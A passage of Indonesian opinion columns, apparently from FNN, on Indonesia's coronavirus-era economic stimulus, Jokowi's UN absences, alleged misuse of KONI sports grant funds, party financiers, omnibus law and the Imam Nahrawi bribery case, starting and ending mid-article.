Rp7,18 triliun, sedangkan transportasi dan pergudangan Rp4,88 triliun. Perlambatan sektor perdagangan bisa jadi karena virus korona. Pajak dari sektor ini sebelumnya tumbuh 8,4%. Kini justru hanya 2,6%. Sektor manufaktur dan pariwisata Indonesia juga menjadi terkontraksi. "Yang harus dilakukan pemerintah dan BI [Bank Indonesia] adalah merilis paket paket stimulus pada sektor yang terdampak korona," saran ekonom Indef, Bhima Yudhistira. Stimulus yang dimaskud bisa berupa pemangkasan suku bunga acuan bank 25-50 bps di Kuartal I-2019, maupun insentif perpajakan pada sektor berorientasi ekspor dan pariwisata, melakukan penangguhan pembayaran bunga atau cicilan pokok debitur pariwisata pada bank bank BUMN, khususnya di Bali, Lombok dan Manado. Menggenjot Konsumsi Rasanya ekspor bakal sulit diandalkan menjadi mesin pendorong pertumbuhan ekonomi Indonesia tahun ini. Oleh karena itu, konsumsi domestik harus digenjot agar pertumbuhan ekonomi tidak lagi di bawah 5%. Rupanya, Menteri Sri juga sudah menyiapkan hal itu. Pemerintah akan menggelontorkan stimulus belanja. "Kita sedang finalkan sehingga kita tahu berapa kebutuhan anggarannya dan akan segera diluncurkan," ungkap Sri, Rabu (19/2). Pemerintah berniat menambah manfaat Kartu Sembako. Jumlah anggarannya Rp3,8 triliun. Ada juga perluasan subsidi bunga perumahan. Tambahan volume rumah sekitar 224.000 unit dengan anggaran Rp1,5 triliun. Sedangkan insentif sektor pariwisata berupa insentif untuk travel agent yang membawa wisatawan mancanegara dan insentif untuk tenaga pemasaran pariwisata. "Ini ditujukan untuk masyarakat berpenghasilan menengah," terang Sri Mulyani. Bagi para penganggur ada Kartu Pra Kerja. Sejumlah ekonom memproyeksikan pertumbuhan ekonomi Indonesia pada kuartal I-2020 hanya pada kisaran 4,3% sampai 4,9%. Bahkan sampai akhir tahun 2020 pun, ekonomi Indonesia diperkirakan akan tumbuh di bawah 5%. Pertumbuhan ekonomi Indonesia sepanjang 2019 sudah melambat 0,2%. Prospek ekonomi kita memang suram. Rajin-rajin berbelanjalah agar ekonomi tetap berputar. Jangan pelit. Penulis Wartawan Senior.

Lebih Wingit Kota New York atau Kota Kediri?

Oleh Hersubeno Arief Jakarta, FNN - Sampai sejauh ini setidaknya ada dua kota yang sangat dihindari Presiden Jokowi. Kota New York di AS, dan kota Kediri di Jawa Timur. Diantara kedua kota itu, mana yang paling wingit? Paling angker? Bagi Presiden Jokowi tampaknya jawabannya sangat jelas. New York kota yang menjadi markas Perserikatan Bangsa-Bangsa (PBB) jelas jauh lebih wingit. New York berada diperingkat pertama. Baru diperingkat berikutnya Kediri. Kota lain? Belum ada konfirmasi. Selama lima tahun periode pertama jabatannya, Jokowi terkesan sangat menghindari New York, khususnya kegiatan Sidang Majelis Umum ( SMU ) PBB. Sudah lima tahun berturut-turut Jokowi absen SMU PBB. Kegiatan penting dan sangat prestisius itu cukup diwakilkan kepada (mantan) Wapres Jusuf Kalla. Sebuah rekor yang belum pernah dicapai oleh seluruh Presiden Indonesia. Bung Karno, Pak Harto, Habibie, Gus Dur, Megawati, maupun Susilo Bambang Yuhoyono tidak bisa menandinginya. Kalau dalam sepakbola “prestasi” semacam itu disebut sebagai quintrick, memborong lima gol sekaligus. Luar biasa! Prestasi semacam ini hanya pernah ditorehkan bintang sepakbola paling top di dunia sekelas Ronaldo dan Lionel Messi. Alan Shearer dan Robert Lewandowski juga pernah melakukannya. Sebaliknya untuk Kota Kediri, Jokowi baru sekali absen. Jokowi tidak hadir pada sebuah acara di Pesantren Lirboyo Kediri. Semula berdasarkan penjelasan dari Sekretaris Kabinet Pramono Anung, agar Jokowi terhindar dari bencana lengser seperti yang pernah menimpa almarhum Presiden Abdurahman Wahid ( Gus Dur ). Ada beberapa lokasi di kota Kediri yang jadi pantangan seorang presiden, dan tidak boleh dilewati kalau tak mau bernasib apes. Jadi yang paling aman bagi seorang presiden, hindari sejauh mungkin kota yang pernah menjadi pusat kerajaan Dhaha itu. Belakangan pernyataan Pram diralat. Dia menyatakan konteks pembicaraannya dalam nada bercanda dan disalahpahami media. "Kita tahu Presiden kita ini tidak takut ke mana-mana. Mau ke mana saja, ke Afghanistan saya juga mendampingi, apalagi hanya ke Kediri. Saya melihat berita sudah melenceng jauh dari substansi awal," ujar Pramono. "Sampai hari ini Pak Jokowi tidak pernah diundang ke Kediri. Tergantung undangannya saja," tambahnya. Okay lah. Sementara ini permasalahannya kita anggap clear. Presiden tidak pernah takut kemanapun. Apalagi cuma kota Kediri. Kita tinggal tunggu kapan Jokowi berkunjung ke kota yang identik dengan rokok PT Gudang Garam itu. Ada baiknya untuk uji nyali, sekaligus uji sahih ucapan Pram, pemerintah setempat, atau warga kota Kediri segera mengundang Presiden Jokowi. Kita buktikan Jokowi hadir atau tidak. Lagi pula Kediri selama ini selalu dikuasai oleh PDIP, partai yang menjadi basis utama pendukungnya. Harusnya menjadi prioritas Jokowi. Apa gedung PBB sangat angker? Urusan kota Kediri untuk sementara boleh dilupakan. Sekarang kita balik lagi ke kota New York. Apa iya kota New York, khususnya markas PBB yang sangat wingit, angker, keramat, bisa membuat Jokowi dilengserkan kalau sampai berani mengunjunginya? Kalau tidak super wingit lantas apa penjelasannya, kok sampai lima kali berturut-turut tidak hadir? Pada SMU PBB ke-74 tahun 2019 Wapres Jusuf Kalla kembali mewakili Jokowi. Itu menjadi kali terakhir Kalla bisa mewakili. Dia berharap, pada sidang ke-75 tahun 2020 Jokowi bisa hadir. “Semua pemimpin negara lain bertanya-tanya. Mana Pak Jokowi,” ujar Kalla. Kehadiran seorang kepala negara dalam forum internasional semacam itu sangat penting. Para kepala negara bisa menyampaikan agenda dan gagasan di pentas dunia. Forum semacam itu biasanya dimanfaatkan untuk saling bertemu dan menjalin kerjasama. Sebuah kesempatan yang mahal, langka, dan sangat penting. Pada 30 September 1960 Presiden Soekarno menyampaikan pidato yang sangat terkenal di depan Majelis Umum PBB. Pidatonya diberi judul "To Build the World A New". Bung Karno menguraikan soal Pancasila, perjuangan Indonesia untuk membebaskan Irian Barat, posisi Indonesia dalam masalah kolonialisme, dan usaha perbaikan organisasi PBB. Presiden Soeharto dalam Sidang Majelis Umum Ke-47 PBB pada 24 September 1992 menyampaikan "Pesan Jakarta.” Pesan tersebut dirumuskan dalam KTT ke 10 Gerakan Non Blok (GNB) yang dilaksanakan di Jakarta antara tanggal 1-6 September 1992. Soeharto bukan hanya mewakili 180 juta penduduk Indonesia namun juga mewakili 108 negara anggota GNB. Dua per tiga dari keseluruhan keanggotaan PBB. Presiden Gus Dur juga pernah hadir dalam sidang di Markas PBB pada tahun 2000. Bahkan pada bulan Desember 2003 setelah tidak menjadi presiden dia mendapat penghargaan “Global Tolerance Award” dari PBB. Sementara Megawati yang menggantikan Gus Dur pernah hadir dalam SMU PBB tahun 2001. Megawati juga tercatat sebagai presiden pertama dari negara dengan jumlah penduduk muslim terbesar di dunia yang mengunjungi AS setelah tragedi 11 September 2001. Begitu pula halnya dengan Presiden SBY yang sangat aktif dalam forum-forum internasional, khususnya di PBB. Pada sidang PBB ke-67 tahun 2012 SBY menyampaikan sikap Indonesia terhadap maraknya penistaan agama di berbagai belahan dunia. Pada tahun 2020 ini kita akan kembali menyaksikan apakah markas PBB di kota New York masih menjadi tempat yang angker dan wingit bagi Jokowi? Kepala Staf Presiden Moeldoko pernah menyatakan, kesibukan di dalam negeri menjadi alasan mengapa Jokowi tidak pernah hadir di SMU PBB. Lagi pula menurutnya Wapres Jusuf Kalla juga merupakan representasi negara. “Jadi tak perlu dipersoalkan,” tegasnya. Masalahnya kata Kalla, PBB punya aturan protokol yang ketat. Kelas seorang wapres tidak bisa disamakan dengan presiden. "Jadi ukurannya bukan negara besar atau tidak, tapi Anda pangkatnya apa, itu protokolernya berlaku. Seperti tadi yang berbicara pertama dari Mauritius, itu negara penduduknya hanya 20 ribu sampai 30 ribu. Jadi kalau Pak Jokowi, mungkin hari pertama atau hari kedua berbicara,” ujar Kalla. Pada sidang ke-74 Kalla baru mendapat giliran pidato pada hari ketiga setelah semua kepala negara berpidato. Dia harus bersabar dan mengalah menunggu giliran, setelah pidato kepala negara sekelas Nauru, Fiji, atau negara-negara lain yang namanya tidak pernah kita dengar. SMU PBB biasanya digelar pada bulan September. Masih beberapa bulan lagi. Apakah kali ini Jokowi akan kembali absen, atau memutus “tradisi” selama lima tahun terakhir. Kalau Jokowi kembali absen, kira-kira apa alasannya? Kalau kendala bahasa, hal itu tak seharusnya menjadi penghalang. Secara undang-undang sesungguhnya seorang presiden harus menggunakan bahasa Indonesia di forum-forum resmi. Apalagi di forum internaaional. Pak Harto paling taat dan selalu menggunakan bahasa Indonesia. Kalau absen lagi, siapa kira-kira yang akan diutus? Wapres Ma’ruf Amin atau pejabat yang lain? Sambil menunggu bulan September tiba, bila Anda termasuk orang yang ingin menjadi presiden Indonesia dan terpilih sampai dua kali, tidak ada salahnya mulai riset kemungkinan tempat-tempat wingit di kota New York. Jembatan Broklyn, Patung Liberty, Fifth Avenue, Park Avenue, Central Park, Ground Zero, atau Gedung Markas PBB? Jangan-jangan disitu lah kunci rahasianya. End. Penulis wartawan senior.

Langgar Hukum, Dana Hibah KONI Dibuat Kontrak Pemain!

Oleh Mochamad Toha Jakarta, FNN - Berdasar jejak digital yang ditulis Kompas.com (11/02/2016, 20:07 WIB), terungkap adanya praktek “kontrak atlet” antar provinsi dalam gelaran Pekan Olahraga Nasional (PON) 2016, September 2016. Atlet renang nasional, Indra Gunawan mengaku masih menunggu dana yang akan digunakan untuk latihan dan persiapan menjelang membela kontingan Jawa Timur di arena PON 2016, September 2016. Indra Gunawan, 31 tahun, yang saat itu bermukim dan berlatih di Bali mengaku mengalami kendala dana untuk berlatih secara maksimal. “Dana untuk suplemen, try out, training camp, dan juga peralatan tak pernah turun hingga saat ini,” kata Indra yang dikontrak Jawa Timur bersama beberapa atlet nasional lainnya seperti Glenn Victor Sutanto. Ia menyebut, bahkan untuk melakukan tes fisik di Surabaya pun, Januari 2016, Indra tak bisa datang karena terkendala dana. “Pemberitahuan terlalu mepet, sehari sebelumnya. Belum lagi ada kendala dana,” ungkap Indra. Indra Gunawan merupakan peraih satu-satunya medali emas buat tim renang Indonesia di ajang SEA Games di Singapura, Juni 2015. Ketika itu Indra meraih medali emas untuk nomor 50 meter gaya dada. Indra yang dikontrak Jatim setelah pindah dari Sumatera Utara mengaku tidak bermasalah dengan gaji bulanan dari KONI Jawa Timur. “Meski waktunya tidak teratur, namun gaji bulanan selalu saya terima,” kata ayah dua anak ini. Berita yang ditulis Kompas.com itu merupakan salah satu petunjuk adanya praktek Kontrak Atlet antar provinsi. Yang banyak Kontrak Atlet untuk PON 2008, 2012, dan 2016, yaitu DKI Jakarta, Jawa Barat, dan Jawa Timur. Untuk mengambil atlet angkat besi, Eko Yuli Wirawan misalnya, Jatim mesti membayar Kaltim dengan mahar Rp 300 juta. Nominal berkisar Rp 200 juta hingga Rp 500 juta juga dikeluarkan untuk 15 atlet lain yang pindah ke Jatim. Melansir Tirto.id (23 September 2016), diantara mereka ada lima atlet boling dari Jabar, yakni Oscar, Billy Muhammad Islam, Fachry Askar, Putri Astari, dan Tannya Roumimper. Jatim juga telah berhasil membajak perenang pelatnas, Ressa Kania Dewi dan Glen Victor Susanto. Kabarnya mahar dua atlet ini di atas Rp 600 juta. Untuk melobi perenang andalan Jabar lain, Triady Fauzi Sidiq, Jatim bahkan sempat menego Rp 780 juta. Namun, tawaran itu ditolak oleh KONI Jabar. Semakin besar prestasi dan potensi si atlet mendapat medali maka semakin juga mahal “uang pembinaannya”. Kegilaan tawaran mutasi atlet memang sudah kelewat batas. Pecatur andalan Jabar, Irene Kharisma Sukandar bahkan sempat “dibeli” Jatim Rp 1 miliar pada 2013. Surat kontrak antara Irene dan KONI Jatim sudah dibuat. Tapi, transaksi ini gagal karena Jabar menang saat proses gugatan di Badan Arbitrase Olahraga Indonesia (BAORI). Dalam setiap penyelenggaraan PON pasti terjadi Transfer Atlet Nasional antar provinsi yang menggunakan Dana Hibah Olahraga dari Pemprov. Padahal, Dana Hibah Olahraga Provinsi itu targetnya untuk Pembinaan Atlet Daerah. Penyelewengan Dana Hibah Olahraga Daerah semakin besar dilakukan oleh KONI Provinsi di posisi 3 besar PON 2008, 2012, dan 2016. Ketiga besar PON itu adalah DKI Jakarta, Jawa Barat, dan Jawa Timur. Ketiga daerah dipastikan melakukan penyelewengan Dana Hibah Olahraga dari Pemprovnya. Untuk fee transfer dan kontrak atlet nasional dari provinsi rival. Nilainya terbanyak dibanding daerah lain. Penyelewengan yang dilakukan KONI Provinsi tersebut berkedok permainan kontrak pemain. Kabarnya, KPK dan Kejaksaan sedang “membidik” tiga KONI Daerah (DKI Jakarta, Jabar, dan Jatim) sebagai tiga besar saat PON 2008, 2012, dan 2016. Ketiga daerah peserta kontingen PON 2008, 2012, dan 2016 itu yang banyak kontrak atlet nasional milik provinsi lain. Karena, dana Hibah Olahraga dilarang digunakan untuk bayar fee transfer dan kontrak pemain. UU Nomor 3 Tahun 2005 tentang Sistem Keolahragaan Nasional, PP Nomor 16, 17, dan 18 Tahun 2007 sudah memastikan dana Hibah Olahraga hanya untuk Pembinaan Atlet Daerah. Bukan Dana Transfer Atlet! Langgar Hukum! Coba kita simak Pasal 9 UU Nomor 3 Tahun 2005 tentang Sistem Keolahgaraan Nasional, Bagian Kedua mengenai Alokasi Pendanaan. Pasal 9 (1)Dana yang diperoleh dari sumber pendanaan sebagaimana dimaksud dalam Pasal 7 hanya dapat dialokasikan untuk penyelenggaraan keolahragaan yang meliputi: a.olahraga pendidikan, olahraga rekreasi, dan olahraga prestasi; b.pembinaan dan pengembangan olahraga; c.pengelolaan keolahragaan; d.pekan dan kejuaraan olahraga; e.pembinaan dan pengembangan pelaku olahraga; f.peningkatan kualitas dan kuantitas prasarana dan sarana olahraga; g.pengembangan ilmu pengetahuan dan teknologi keolahragaan; h.pemberdayaan peran serta masyarakat dalam kegiatan keolahragaan; i.pengembangan kerja sama dan informasi keolahragaan; j.pembinaan dan pengembangan industri olahraga; k.standardisasi, akreditasi dan sertifikasi; l.pencegahan dan pengawasan doping; m.pemberian penghargaan; n.pelaksanaan pengawasan; dan o.pengembangan, pengawasan, serta pengelolaan olahraga profesional. (2)Tata cara penggunaan dana sebagaimana dimaksud pada ayat (1) dilakukan sesuai dengan ketentuan Peraturan Perundang-undangan. Selanjutnya kita simak juga PP Nomor 18 Tahun 2007 tentang Pendanaan Keolahragaan, Bab XII mengenai Pendanaan Keolahragaan. Pasal 69 (1)Pendanaan keolahragaan menjadi tanggung jawab bersama antara Pemerintah, pemerintah daerah, dan masyarakat. (2)Pemerintah dan pemerintah daerah wajib mengalokasikan anggaran keolahragaan melalui Anggaran Pendapatan dan Belanja Negara dan Anggaran Pendapatan dan Belanja Daerah. Pasal 70 (1)Sumber pendanaan keolahragaan ditentukan berdasarkan prinsip kecukupan dan keberlanjutan. (2)Sumber pendanaan keolahragaan dapat diperoleh dari: a.masyarakat melalui berbagai kegiatan berdasarkan ketentuan yang berlaku; b.kerja sama yang saling menguntungkan; c.bantuan luar negeri yang tidak mengikat; d.hasil usaha industri olahraga; dan/atau e.sumber lain yang sah berdasarkan ketentuan peraturan perundang-undangan. Pasal 71 (1)Pengelolaan dana keolahragaan dilakukan berdasarkan pada prinsip keadilan, efisiensi, transparansi, dan akuntabilitas publik. (2)Dana keolahragaan yang dialokasikan dari Pemerintah dan pemerintah daerah dapat diberikan dalam bentuk hibah sesuai dengan peraturan perundang-undangan. Pasal 72 Ketentuan lebih lanjut mengenai pendanaan keolahragaan sebagaimana dimaksud dalam Pasal 69 sampai dengan Pasal 71 diatur dengan Peraturan Pemerintah. Dalam setiap penyelenggaraan PON, dipastikan terjadi transfer atlet nasional antar provinsi yang menggunakan Dana Hibah Olahraga dari Pemprov untuk KONI Provinsi. Kabarnya, ini terjadi di ketiga provinsi yang disebut di atas tadi. Dari jejak digital pula diketahui, Pemprov Jatim mengucurkan anggaran Rp 208 miliar untuk KONI Jatim pada 2015. Jumlah itu meningkat tajam jika dibandingkan pada 2014 yang hanya Rp 120 miliar. Seperti dilansir Bhirawa.com, Senin (2/2/2015), menurut Ketua Umum KONI Jatim Erlangga Satriagung, anggaran dari Pemprov Jatim meningkat karena KONI Jatim memiliki sejumlah angenda yang membutuhkan uang cukup besar. Yakni, penyelenggaraan Pekan Olahraga Provinsi (Porprov) V di Banyuwangi, try out cabang olahraga (Cabor) untuk persiapan PON Jabar 2016 dan penambahan cabor di Pemusatan Latihan Daerah (Puslatda). “Banyak program yang membutuhkan anggaran cukup besar. Tahun 2015 ini ada Porprov dan cabor-cabor mulai banyak try out sebagai persiapan PON 2016,” kata Erlangga, Senin (2/2/2015). Seberapa besar dana hibah yang diduga diselewengkan oleh tiga KONI Daerah (DKI Jakarta, Jabar, dan Jatim) sebagai tiga besar saat PON 2008, 2012, dan 2016, tentu pihak berwenang yang lebih tahu. Sebab, semua bukti skandal Dana Hibah KONI Provinsi itu sudah di tangan institusi penegak hukum! Penuturan Indra Gunawan tentang “kontrak atlet" yang para atlet alami di Indonesia tersebut bisa menjadi pintu masuk untuk menegakkan aturan tentang pengelolaan dana hibah. Jangan hanya demi ambisi dan prestasi semata, daerah menghalalkan segala cara. Alhasil, prestasi olahraga Indonesia pada tataran internasional juga ikut berdampak akibat minimnya regenerasi. Sudah saatnya para penegak hukum berlaku adil dengan mengusut tuntas kesalahan pengelolaan dana hibah untuk masalah transfer atlet ini. Dan, di sisi lain, daerah harus serius menggunakan dana hibah ini untuk proses regenerasi atlet! *** Penulis wartawan senior.

Seriuskah Ketua MPR Pimpin Pemberontakan Lawan Cukong Parpol?

By Asyari Usman Jakarta, FNN - Acara itu sederhana saja. Hanya peresmian sebuah lembaga kajian sosial-politik. Nama lembaga itu Nagara Institute. Di Senayan, Jakarta. Direkturnya, Akbar Faisal –mantan anggota DPR dari Partai Nasional Demokrat (NasDem). Acara berlansgung pada 17 Februari 2020. Meski hanya peresmian lembaga kajian, tapi acara ini menjadi sangat penting. Sama pentingnya dengan hari proklamasi kemderdekaan 17 Agustus 1945. Mengapa sampai demikian penting? Karena di acara inilah, secara blak-blakan, Ketua MPR Bambang Soesatyo (Bamsoet) mendeklarasikan bahwa parpol-parpol di Indonesia ini dikuasai dan didikte oleh para pemilik modal alias cukong. Para pemodal, kata Bamsoet, mendatangi Munas atau muktamar parpol yang beragenda pemilihan ketua umum (ketum). Di situlah para cukong membawa duit. Mendekati para politisi yang berpotensi menjadi ketum. Ketua MPR bahkan mengatakan, harga yang dibayar “tidak mahal”. Paling-paling satu T. Seribu miliar. Yang dideklarasikan oleh Bamsoet bukan hal baru. Tetapi menjadi signifikan karena disampaikan oleh politisi senior dengan embel-embel Ketua MPR. Salah satu kalimat kunci yang dikatakan Pak Bamsoet adalah bahwa manuver beli parpol itu merupakan kejadian sebenarnya. “Ini pengalaman,” kata Ketua MPR. Bukan asumsi. Setelah parpol-parpol dibeli, mulailah berlaku “terms and conditions” (ketentuan dan syarat) atau T&C. Intinya, parpol-parpol berada di bawah kendali cukong. Termasuk kebijakan parpol; akan dibuat sesuai kepentingan cukong. Juga mereka tentukan siapa-siapa personel yang didudukkan di DPR, sampai ke siapa calon presiden dan presiden terpilihnya berikut para menteri, calon gubernur, hingga calon bupati dan walikota. Deklarasi Bamsoet ini tidak main-main. Implikasinya terhadap beliau, sangat besar dan cukup serius. Pertama, pembeberan itu akan dimaknai sebagai “pemberontakan” Bamsoet terhadap praktik busuk di kalangan parpol-parpol. Disebut “pemberontakan” karena yang dilakukan Bamsoet adalah aksi melawan struktur politik uang yang telah menjadi tradisi kuat pasca-Reformasi. Yang telah berakar dalam (deep-rooted). Bamsoet hanya bisa sebatas memberontak. Tidak bisa memerangi tradisi beli kekuasaan yang telah diterima luas di lingkaran politik Indonesia, di semua level. Mirip seperti seorang remaja yang memberotak terhadap tradisi kuat di lingkungan rumah orangtuanya. Kekuatan si remaja tak seimbang dengan kekuatan seisi rumah yang telah mapan. Jarang pemberontakan remaja bisa menang. Begitulah gambaran posisi Bamsoet di tengah tradisi parpol yang bercukong. Berat dia menang. Namun demikian, pemberontakan politik Bamsoet akan merebut simpati dan dukungan luas rakyat yang sudah sangat geram dengan percukongan parpol. Rakyat akan menyambutnya sebagai jihad melawan kemungkaran politik yang akan menghancurkan bangsa ini. Yang menjadi masalah, apakah beliau serius melancarkan pemberontakan itu? Jangan-jangan hanya sekadar menciptakan sensasi saja. Cuma basa-basi sambil mengalihkan perhatian publik. Kalau dibaca suasana umum yang ada saat ini, kemungkinan besar Pak Bamsoet sungguh-sungguh ingin memberontak terhadap praktik tercela jual-beli kakuasaan itu. Bamsoet kelihatanya murni gelisah melihat kenyataan yang sangat membahayakan masa depan negara. Kedua, kalau memang serius membuka medan tempur, maka Bamsoet pasti sudah berhitung tentang siapa-siapa lawan dan kawannya. Soal siapa lawan, sudah sangat jelas. Direktur Nagara Institute Faisal Akbar mengklaim bahwa dia sudah mengidentifikasi sekitar 50 pemilik duit besar yang menempatkan kaki di semua parpol. Dan dalam tulisan yang berjudul “Parpol: Di Bawah Lindungan Para Taipan”, edisi 19 Februari 2020, pengamat politik Hersubeno Arief memperkirakan para cukong parpol-parpol itu hampir pasti adalah mereka yang masuk dalam daftar 100 orang terkaya di Indonesia yang memiliki bisnis besar nan menggurita. Daftar majalah “Forbes” ini bukan rahasia. Hersubeno menjelaskan 10 orang yang punya kekayaan antara 40 triliun hingga 500 triliun plus. Mereka ini adalah cukong lokal. Bamsoet mengisyaratkan pula bahwa para pemodal itu bisa juga datang dari luar. Yaitu, cukong asing. Ketua MPR tidak mengatakan siapa-siapa cukong asing itu. Tetapi, Hersubeno langsung menyebut Tiongkok (China) karena merekalah yang paling berkepentingan di Indonesia akhir-akhir ini. Jadi, lawan-lawan Pak Bamsoet –kalau beliau serius mau berontak— tidak tanggung-tanggung. Kasarnya, para cukong itu bisa mengakses dan menggunakan siapa saja untuk melakukan apa saja. Termasuk untuk tujuan “memadamkan pemberontakan”. Bamsoet harus siap menerima semua konsekuensi. Sedangkan soal kawan, Bamsoet bisa kumpulkan 100 juta tanda tangan pendukung. Ketiga, para senior Golkar tidak mungkin tak tertampar oleh deklarasi Bamsoet tentang percukongan parpol. Sebab, Ketua MPR menyebutkan semua parpol, termasuk Golkar, menjadi incaran para pemilik uang. Dan, kalimat “Ini pengalaman” seperti dikatakan Bamsoet boleh jadi dia maksudkan pengalaman di Golkar sendiri. Artinya, pantas diduga bahwa beli kekuasaan oleh cukong mungkin pernah berlangsung di Partai Beringin. Karena itu, pemberontakan Bamsoet melawan praktik beli ketua umum parpol, kelihatannya hanya menunggu reaksi dari para cukong dan pimpinan partai. Ada kemungkinan para cukong akan melakukan “aim, lock and fire” (bidik, kunci dan tembak) terhadap Bamsoet. Pak Ketua akan dikejar dan dikerjai. Ada pula kemungkinan para cukong mundur dan membiarkan proses demokrasi Indonesia berjalan apa adanya. Tipis kemungkinan ini. Sama seperti “melepaskan punai di tangan tanpa alasan”. Para cukong pastilah mengambil opsi agresif. Andaikata ada mahkamah cukong untuk memilih cara bereaksi terhadap pemberontakan Bamsoet, hampir pasti sidang hanya berlangsung tiga menit dan putusannya adalah “bersihkan hambatan itu”.[] 20 Februari 2020 Penulis wartawan senior.

Misteri Hukum Politik Dibalik Omnibus Law

Oleh Raditya Mubdi Jakarta, FNN – Metode Omnibus Law sebagai pilihan pemerintah untuk menyederhanakan puluhan undang-undang dan ribuan pasal menuai pro dan kontra di masyarakat. Selain materi Rancangan Undang-Undang (RUU), prosedur omnibus law ini dianggap tidak lazim di Indonesia yang memiliki latar belakang hukum civil law atau disebut eropa continental. Omnibus Law merupakan metode pembentukan peraturan perundang-undangan yang menyederhanakan beberapa undang-undang sekaligus menjadi satu undang-undang. Sehingga ada yang menggunakan istilah beleid sapu jagat. Metode omnibus law ini sering digunakan di negara-negara yang sistem hukumnya common law. Sementara indonesia sebagai negara penganut sistem hukum civil law memiliki cara dan teknis berbeda dalam perubahan peraturan perundang-undangan. Hal ini menjadi pertanyaan publik. Sebab tidak biasa terjadi. Sekalipun ada beberapa ahli hukum yang membangun argumentasi terkait penerapan omnibus law sebagai sistem hukum common low secara teknis untuk mendukung pemerintah dalam penerapan omnibus law di indonesia, tetap saja terlihat tidak normal dalam sistem hukum di indonesia. Ibarat duren berbuah mangga. Hal ini bukan suatu terobosan normal. Melainkan rekayasa dengan metode hibridisasi dua komponen sistem hukum yang berbeda. Artinya terdapat latar belakang yang sangat fundamental dari kebijakan pemerintah tersebut. Tidak dapat dipungkiri, di alam demokrasi seperti Indonesia. Politik sangat berperan penting untuk memperkuat kekuasaan. Itulah hukum politik di indonesia. Jika penyederhanaan peraturan perundang-undangan yang dilakukan pemerintah melalui revisi, maka memakan waktu yang cukup lama. Begitu juga dengan anggaran yang dikeluarkan sangat besar, karena berkaitan dengan revisi puluhan undang-undang tersebut. Jika pemerintah memutuskan untuk mengeluarkan Peraturan Pemerintah Pengganti Undang-undang (Perppu), sebenarnya sangat mudah dan sederhana. Namun sangat berisiko secara politik dikemudian hari. Sehingga bisa jadi omnibus law sebagai jalan pintas untuk meredam semua risiko yang akan dihadapi. Inilah ranah teka-teki hukum politik yang dihadapi. Jika kita tilik lebih dalam, apa sesungguhnya yang paling urgent dari kebijakan pemerintah ini? Sehingga harus membutuhkan omnibus law sebagai alat konsolidasi politik yang strategis? Sekalipun memiliki kewenangan hukum, namun pemerintah tidak berani mengambil resiko secara sepihak. Butuh dukungan politik untuk legitimasi kebijakan yang dikeluarkan melalui omnibus law ini. Istilahnya, menabrak sistem hukum saat ini tak mengapa. Jika dibandingkan dengan di kemudian hari menjadi bumerang yang berakibat gejolak politik yang sangat fatal. Hari ini dapat dilihat reaksi dari berbagai kepentingan dalam masyarakat terhadap RUU omnibus law. Bukan saja dari kalangan para buruh, beberapa elite pun turun gelanggang berkomentar terkait kebijakan pemerintah mengajukan RUU omnibus law ini. Mereka beranggapan kebijakan pemerintah melalui RUU omnibus law sangat merugikan beberapa komponen masyarakat dan menguntungkan investor dan pengusaha. Selain itu, kebijakan ini dianggap menabrak aturan yang ada. Penulis adalah Fungsionaris PB HMI

Kasus Imam Nahrawi, Pintu Masuk Skandal KONI Daerah!

Oleh Mochamad Toha Jakarta, FNN - Siapa yang tidak kenal dengan Imam Nahrawi? Namanya mulai mencuat sejak menjadi Ketua DPW PKB Jatim. Jejak digital mencatat, Minggu (20/7/2008), bersama PKB kubu Muhaimin Iskandar, ia bersukaria atas kekalahan KH Abdurrahman Wahid. Mereka melakukan syukuran paska kemenangan kubu Imin setelah MA menolak kasasi PKB kubu Gus Dur itu. Ia mencukur gundul rambutnya. Ketika itu, Ketua Dewan Syuro, KH Azis Mansyur sendiri yang memotong rambut Imam. Itulah jejaknya. Setelah 11 tahun aksi gundul itu, Menpora Imam Nahrawi harus menjadi pesakinan dan telah ditetapkan KPK karena diduga menerima gratifikasi senilai Rp 16,5 miliar dari KONI sebagai commitment fee pengurusan pencairan dana hibah Kemenpora. Kasus dugaan tipikor pemberian dana hibah KONI ini telah sampai pada penetapan Menpora Imam Nahrawi sebagai tersangka oleh KPK. Sebelum Imam, KPK telah menjerat lima orang tersangka kasus dana hibah tersebut. Mereka adalah Sekjen KONI Ending Fuad Hamidy, Bendahara Umum KONI Johnny E. Awuy, dua staf Kemenpora yakni Adhi Purnomo dan Eko Triyanto, serta Mantan Deputi IV Bidang Peningkatan Prestasi Olahraga Kemenpora, Mulyana. Ending dan Johnny telah divonis bersalah oleh majelis hakim tipikor. Ending selaku Sekjen KONI dihukum 2 tahun delapan bulan penjara, sementara Johnny sebagai Bendahara Umum KONI divonis penjara 1 tahun delapan bulan. Selain itu, Adhi Purnomo, Eko Triyanto, dan Mulyana juga baru saja menerima vonis majelis hakim di Pengadilan Tipikor Jakarta pada 12 September 2019 lalu. Tanda-tanda Imam bakal menjadi tersangka seusai Sesmenpora Gatot Dewa Broto diperiksa dalam penyelidikan KPK, Jum’at (26/7/2019). Saat itu Gatot mengaku diperiksa KPK terkait pengelolaan anggaran di Kemenpora. “KPK ingin tahu tentang pola pengelolaan anggaran dan program sepanjang tahun 2014 sampai dengan 2018. Kenapa harus saya? Karena saya sebagai Sesmenpora,” kata Gatot. Alhasil, ungkap KPK, Imam menerima suap dan gratifikasi sebesar Rp 26,5 miliar sepanjang pada 2014 hingga 2018. Isyarat penetapan tersangka kepada Imam sudah mulai tercium sejak KPK tiba-tiba menahan asisten pribadinya, Miftahul Ulum, Rabu (11/9/2019). Saat itu, penetapan tersangka pada Ulum belum diumumkan KPK. Sepekan setelah menahan Ulum, KPK pun akhirnya mengumumkan Ulum dan Imam sebagai tersangka. Fantastis nilainya! Total uang Rp 26,5 miliar yang disangkakan sebagai gratifikasi yang telah diterima mantan Menpora Imam Nahrawi sepanjang tahun 2014 hingga 2018 itu tentu bukan hanya dipakai Imam pribadi. Pasti juga mengalir ke pihak lain. Jum’at (14/2/2020) Imam mulai disidangkan di Pengadilan Tipikor Jakarta. Dalam perkara suap KONI itu, KPK menetapkan Imam dan asisten pribadinya Miftahul Ulum sebagai tersangka. Imam disangka menerima uang sebesar Rp 26,5 miliar. Uang itu diduga merupakan imbalan atas pengurusan proposal hibah yang diajukan KONI kepada Kemenpora TA 2018, imbalan sebagai ketua Dewan Pengarah Satlak Prima, dan penerimaan lain yang berhubungan dengan jabatan Imam sebagai Menpora. Uang tersebut diduga digunakan untuk kepentingan pribadi Menpora dan pihak lain yang terkait. Dalam rentang 2014-2018, Menpora melalui Ulum diduga telah menerima uang sejumlah Rp 14,7 miliar. Menurut Jaksa KPK Ronald Worotikan, selain penerimaan uang, dalam rentang waktu 